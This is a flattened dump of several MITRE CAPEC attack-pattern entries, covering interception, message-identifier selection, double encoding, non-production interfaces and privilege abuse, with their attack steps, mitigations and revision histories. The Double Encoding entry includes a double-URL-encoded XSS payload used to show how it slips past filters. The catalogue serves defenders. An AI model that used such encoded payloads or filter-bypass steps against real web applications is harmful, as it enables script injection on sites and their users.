+ + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Minimize error/response output to only what is necessary for functional use or corrective language.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Remove potentially sensitive information that is not necessary for the application's functionality.</xhtml:div> + + + + + 200 + + + + + 1243 + + + + + + + + + + + + #indNoteNote2137 + Note_2137 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Large quantities of data is often moved from the target system to some other adversary controlled system. Data found on a target system might require extensive resources to be fully analyzed. Using these resources on the target system might enable a defender to detect the adversary. Additionally, proper analysis tools required might not be available on the target system.</xhtml:div> + + + + + + + + + + + + #indNoteNote2138 + Note_2138 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack differs from Data Interception and other data collection attacks in that the attacker actively queries the target rather than simply watching for the target to reveal information.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory2140 + Content_History_2140 + + + + + + + + + + + + + + + + #indSubmissionSubmission2141 + Submission_2141 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification2146 + Modification_2146 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Activation_Zone, Attack_Prerequisites, Description Summary, Injection_Vector, Payload, Payload_Activation_Impact + + + + + + + + + + + + #indModificationModification2152 + Modification_2152 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Other_Notes, Related_Weaknesses, Resources_Required, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification2158 + Modification_2158 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification2164 + Modification_2164 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification2170 + Modification_2170 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification2176 + Modification_2176 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-117 + Interception + + + + + + + + + 117 + + + + + Interception + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary monitors data streams to or from the target for information gathering purposes. This attack may be undertaken to solely gather sensitive information or to support a further attack against the target. This attack pattern can involve sniffing network traffic as well as other types of data streams (e.g. radio). The adversary can attempt to initiate the establishment of a data stream or passively observe the communications as they unfold. In all variants of this attack, the adversary is not the intended recipient of the data stream. In contrast to other means of gathering information (e.g., targeting data leaks), the adversary must actively position themself so as to observe explicit data channels (e.g. network traffic) and read the content. However, this attack differs from a Adversary-In-the-Middle (CAPEC-94) attack, as the adversary does not alter the content of the communications nor forward data to the intended recipient.</xhtml:div> + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target must transmit data over a medium that is accessible to the adversary.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have the necessary technology to intercept information passing between the nodes of a network. For TCP/IP, the capability to run tcpdump, ethereal, etc. can be useful. Depending upon the data being targeted the technological requirements will change.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence2195 + Consequence_2195 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leverage encryption to encode the transmission of data thus making it accessible only to authorized parties.</xhtml:div> + + + + + 319 + + + + + + + + + + + + #indContentHistoryContentHistory2206 + Content_History_2206 + + + + + + + + + + + + + + + + #indSubmissionSubmission2207 + Submission_2207 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification2212 + Modification_2212 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Activation_Zone, Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Injection_Vector, Payload, Payload_Activation_Impact, Related_Weaknesses, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification2218 + Modification_2218 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Prerequisites, Description Summary, Resources_Required + + + + + + + + + + + + #indModificationModification2224 + Modification_2224 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification2230 + Modification_2230 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Description, Related_Weaknesses + + + + + + + + + + + + #indModificationModification2236 + Modification_2236 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description + + + + + + + + + + + + #indModificationModification2242 + Modification_2242 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Description + + + + + + + + + + + + #CAPEC-12 + Choosing Message Identifier + + + + + + + + + 12 + + + + + Choosing Message Identifier + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern2256 + Related_Attack_Pattern_2256 + + + + + + + + + + + + + + 21 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern2257 + Related_Attack_Pattern_2257 + + + + + + + + + + + + + + 216 + + + + + + + + + + + + #indAttackStepAttackStep2260 + Attack_Step_2260 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine Nature of Messages] Determine the nature of messages being transported as well as the identifiers to be used as part of the attack</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep2265 + Attack_Step_2265 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Authenticate] If required, authenticate to the distribution channel</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep2270 + Attack_Step_2270 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify Known Client Identifiers] If any particular client's information is available through a control channel available to all users, the adversary will discover particular identifiers for targeted clients by observing this channel, or requesting client information through this channel.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep2275 + Attack_Step_2275 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Change Message Identifier] Adversaries with client access connecting to output channels could change their channel identifier and see someone else's (perhaps more privileged) data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Information and client-sensitive (and client-specific) data must be present through a distribution channel available to all users.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Distribution means must code (through channel, message identifiers, or convention) message destination in a manner visible within the distribution means itself (such as a control channel) or in the messages themselves.</xhtml:div> + + + + + + + + + + + + #indSkillSkill2286 + Skill_2286 + + + + + + + + + + + + + + All the adversary needs to discover is the format of the messages on the channel/distribution means and the particular identifier used within the messages. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary needs the ability to control source code or application configuration responsible for selecting which message/channel id is absorbed from the public distribution means.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence2292 + Consequence_2292 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence2296 + Consequence_2296 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Associate some ACL (in the form of a token) with an authenticated user which they provide middleware. The middleware uses this token as part of its channel/message selection for that client, or part of a discerning authorization decision for privileged channels/messages.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The purpose is to architect the system in a way that associates proper authentication/authorization with each channel/message.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Re-architect system input/output channels as appropriate to distribute self-protecting data. That is, encrypt (or otherwise protect) channels/messages so that only authorized readers can see them.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A certain B2B interface on a large application codes for messages passed over an MQSeries queue, on a single "Partners" channel. Messages on that channel code for their client destination based on a partner_ID field, held by each message. That field is a simple integer. Adversaries having access to that channel, perhaps a particularly nosey partner, can simply choose to store messages of another partner's ID and read them as they desire. Note that authentication does not prevent a partner from leveraging this attack on other partners. It simply disallows adversaries without partner status from conducting this attack.</xhtml:div> + + + + + 201 + + + + + 306 + + + + + + + + + + + + #indContentHistoryContentHistory2317 + Content_History_2317 + + + + + + + + + + + + + + + + #indSubmissionSubmission2318 + Submission_2318 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification2323 + Modification_2323 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Description Summary + + + + + + + + + + + + #indModificationModification2329 + Modification_2329 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Example_Instances, Execution_Flow, Resources_Required, Skills_Required + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName2335 + Previous_Entry_Name_2335 + + + + + + + + + 2015-12-07 + + + + + Choosing a Message/Channel Identifier on a Public/Multicast Channel + + + + + + + + + + + + #CAPEC-120 + Double Encoding + + + + + + + + + 120 + + + + + Double Encoding + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary utilizes a repeating of the encoding process for a set of characters (that is, character encoding a character encoding of a character) to obfuscate the payload of a particular request. This may allow the adversary to bypass filters that attempt to detect illegal characters or strings, such as those that might be used in traversal or injection attacks. Filters may be able to catch illegal encoded strings, but may not catch doubly encoded strings. For example, a dot (.), often used in path traversal attacks and therefore often blocked by filters, could be URL encoded as %2E. However, many filters recognize this encoding and would still block the request. In a double encoding, the % in the above URL encoding would be encoded again as %25, resulting in %252E which some filters might not catch, but which could still be interpreted as a dot (.) by interpreters on the target.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern2343 + Related_Attack_Pattern_2343 + + + + + + + + + + + + + + 267 + + + + + + + + + + + + #indAttackStepAttackStep2346 + Attack_Step_2346 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the application for user-controllable inputs] Using a browser, an automated tool or by inspecting the application, an attacker records all entry points to the application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all user input entry points visited during a manual traversal of the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually inspect the application to find entry points.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep2355 + Attack_Step_2355 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probe entry points to locate vulnerabilities] Try double-encoding for parts of the input in order to try to get past the filters. For instance, by double encoding certain characters in the URL (e.g. dots and slashes) an adversary may try to get access to restricted resources on the web server or force browse to protected pages (thus subverting the authorization service). An adversary can also attempt other injection style attacks using this attack pattern: command injection, SQL injection, etc.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Try to use double-encoding to bypass validation routines.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target's filters must fail to detect that a character has been doubly encoded but its interpreting engine must still be able to convert a doubly encoded character to an un-encoded character.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The application accepts and decodes URL string request.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The application performs insufficient filtering/canonicalization on the URLs.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Tools that automate encoding of data can assist the adversary in generating encoded strings.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Assume all input is malicious. Create an allowlist that defines all valid input to the software system based on the requirements specifications. Input that does not match against the allowlist should not be permitted to enter into the system. Test your decoding process against malicious input.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Be aware of the threat of alternative method of data encoding and obfuscation technique such as IP address encoding.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">When client input is required from web-based forms, avoid using the "GET" method to submit data, as the method causes the form data to be appended to the URL and is easily manipulated. Instead, use the "POST method whenever possible.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Any security checks should occur after the data has been decoded and validated as correct data format. Do not repeat decoding process, if bad character are left after decoding process, treat the data as suspicious, and fail the validation process.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Refer to the RFCs to safely decode URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Regular expression can be used to match safe URL patterns. However, that may discard valid URL requests if the regular expression is too restrictive.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">There are tools to scan HTTP requests to the server for valid URL such as URLScan from Microsoft (http://www.microsoft.com/technet/security/tools/urlscan.mspx).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Double Enconding Attacks can often be used to bypass Cross Site Scripting (XSS) detection and execute XSS attacks.:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt;%253Cscript%253Ealert('This is an XSS Attack')%253C%252Fscript%253E&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Since &amp;lt;, &amp;lt;, and / are often sued to perform web attacks, these may be captured by XSS filters. The use of double encouding prevents the filter from working as intended and allows the XSS to bypass dectection. This can allow an adversary to execute malicious code.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 173 + + + + + 172 + + + + + 177 + + + + + 181 + + + + + 183 + + + + + 184 + + + + + 74 + + + + + 20 + + + + + 697 + + + + + 692 + + + + + + + + + + + + #indContentHistoryContentHistory2398 + Content_History_2398 + + + + + + + + + + + + + + + + #indSubmissionSubmission2399 + Submission_2399 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification2404 + Modification_2404 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Phases, Description Summary, Resources_Required + + + + + + + + + + + + #indModificationModification2410 + Modification_2410 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Activation_Zone, Attack_Phases, Attack_Prerequisites, Description Summary, Examples-Instances, Injection_Vector, Payload, Payload_Activation_Impact, Related_Weaknesses, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification2416 + Modification_2416 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations + + + + + + + + + + + + #indModificationModification2422 + Modification_2422 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification2428 + Modification_2428 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-121 + Exploit Non-Production Interfaces + + + + + + + + + 121 + + + + + Exploit Non-Production Interfaces + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary exploits a sample, demonstration, test, or debug interface that is unintentionally enabled on a production system, with the goal of gleaning information or leveraging functionality that would otherwise be unavailable.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Non-production interfaces are insecure by default and should not be resident on production systems, since they may reveal sensitive information or functionality that should not be known to end-users. However, such interfaces may be unintentionally left enabled on a production system due to configuration errors, supply chain mismanagement, or other pre-deployment activities.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Ultimately, failure to properly disable non-production interfaces, in a production environment, may expose a great deal of diagnostic information or functionality to an adversary, which can be utilized to further refine their attack. Moreover, many non-production interfaces do not have adequate security controls or may not have undergone rigorous testing since they were not intended for use in production environments. As such, they may contain many flaws and vulnerabilities that could allow an adversary to severely disrupt a target.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern2448 + Related_Attack_Pattern_2448 + + + + + + + + + + + + + + 113 + + + + + + + + + + + + #indAttackStepAttackStep2451 + Attack_Step_2451 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine Vulnerable Interface] An adversary explores a target system for sample or test interfaces that have not been disabled by a system administrator and which may be exploitable by the adversary.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If needed, the adversary explores an organization's network to determine if any specific systems of interest exist.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep2457 + Attack_Step_2457 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Leverage Test Interface to Execute Attacks] Once an adversary has discovered a system with a non-production interface, the interface is leveraged to exploit the system and/or conduct various attacks.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary can leverage the sample or test interface to conduct several types of attacks such as Adversary-in-the-Middle attacks (CAPEC-94), keylogging, Cross Site Scripting (XSS), hardware manipulation attacks, and more.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target must have configured non-production interfaces and failed to secure or remove them when brought into a production environment.</xhtml:div> + + + + + + + + + + + + #indSkillSkill2468 + Skill_2468 + + + + + + + + + + + + + + Exploiting non-production interfaces requires significant skill and knowledge about the potential non-production interfaces left enabled in production. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">For some interfaces, the adversary will need that appropriate client application or hardware that interfaces with the interface. Other non-production interfaces can be executed using simple tools, such as web browsers or console windows. In some cases, an adversary may need to be able to authenticate to the target before it can access the vulnerable interface.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence2474 + Consequence_2474 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence2481 + Consequence_2481 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence2488 + Consequence_2488 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure that production systems do not contain non-production interfaces and that these interfaces are only used in development environments.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Some software applications include application programming interfaces (APIs) that are intended to allow an administrator to test and refine their domain. These APIs are typically disabled once a system enters a production environment, but may be left in an insecure state due to a configuration error or mismanagement.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Many hardware systems leverage bits typically reserved for future functionality for testing and debugging purposes. If these reserved bits remain enabled in a production environment, it could allow an adversary to induce unwanted/unsupported behavior in the hardware.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 489 + + + + + 1209 + + + + + 1259 + + + + + 1267 + + + + + 1270 + + + + + 1294 + + + + + 1295 + + + + + 1296 + + + + + 1302 + + + + + 1313 + + + + + + + + + + + + #indReferenceReference2519 + Reference_2519 + + + + + + + + + REF-588 + + + + + + + + + + + + #indReferenceReference2520 + Reference_2520 + + + + + + + + + REF-589 + + + + + + + + + + + + #indContentHistoryContentHistory2522 + Content_History_2522 + + + + + + + + + + + + + + + + #indSubmissionSubmission2523 + Submission_2523 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification2528 + Modification_2528 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Activation_Zone, Attack_Phases, Description, Description Summary, Injection_Vector, Payload, Payload_Activation_Impact, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification2534 + Modification_2534 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification2540 + Modification_2540 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated @Name, @Status, Consequences, Description, Execution_Flow, Mitigations, Prerequisites, References, Related_Weaknesses, Resources_Required, Skills_Required + + + + + + + + + + + + #indModificationModification2546 + Modification_2546 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Description, Example_Instances, Related_Weaknesses + + + + + + + + + + + + #indModificationModification2552 + Modification_2552 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Execution_Flow, Related_Weaknesses + + + + + + + + + + + + #indModificationModification2558 + Modification_2558 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification2564 + Modification_2564 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description, Resources_Required + + + + + + + + + + + + #indModificationModification2570 + Modification_2570 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Mitigations + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName2576 + Previous_Entry_Name_2576 + + + + + + + + + 2015-12-07 + + + + + Locate and Exploit Test APIs + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName2577 + Previous_Entry_Name_2577 + + + + + + + + + 2020-07-30 + + + + + Exploit Test APIs + + + + + + + + + + + + #CAPEC-122 + Privilege Abuse + + + + + + + + + 122 + + + + + Privilege Abuse + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary is able to exploit features of the target that should be reserved for privileged users or administrators but are exposed to use by lower or non-privileged accounts. Access to sensitive information and functionality must be controlled to ensure that only authorized users are able to access these resources.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;If access control mechanisms are absent or misconfigured, a user may be able to access resources that are intended only for higher level users. An adversary may be able to exploit this to utilize a less trusted account to gain information and perform activities reserved for more trusted accounts.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This attack differs from privilege escalation and other privilege stealing attacks in that the adversary never actually escalates their privileges but instead is able to use a lesser degree of privilege to access resources that should be (but are not) reserved for higher privilege accounts. Likewise, the adversary does not exploit trust or subvert systems - all control functionality is working as configured but the configuration does not adequately protect sensitive resources at an appropriate level.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern2589 + Related_Attack_Pattern_2589 + + + + + + + + + + + + + + 664 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target must have misconfigured their access control mechanisms such that sensitive information, which should only be accessible to more trusted users, remains accessible to less trusted users.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have access to the target, albeit with an account that is less privileged than would be appropriate for the targeted resources.</xhtml:div> + + + + + + + + + + + + #indSkillSkill2596 + Skill_2596 + + + + + + + + + + + + + + Adversary can leverage privileged features they already have access to without additional effort or skill. Adversary is only required to have access to an account with improper priveleges. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack. The ability to access the target is required.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence2602 + Consequence_2602 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence2606 + Consequence_2606 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence2610 + Consequence_2610 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence2615 + Consequence_2615 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence2619 + Consequence_2619 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configure account privileges such privileged/administrator functionality is not exposed to non-privileged/lower accounts.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Improperly configured account privileges allowed unauthorized users on a hospital's network to access the medical records for over 3,000 patients. Thus compromising data integrity and confidentiality in addition to HIPAA violations.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 269 + + + + + 732 + + + + + 1317 + + + + + + + + + + + + #indTaxonomyMappingAbuseElevationControlMechanism + Abuse Elevation Control Mechanism + + + + + + + + + + + + + + 1548 + + + + + Abuse Elevation Control Mechanism + + + + + + + + + + + + #indContentHistoryContentHistory2644 + Content_History_2644 + + + + + + + + + + + + + + + + 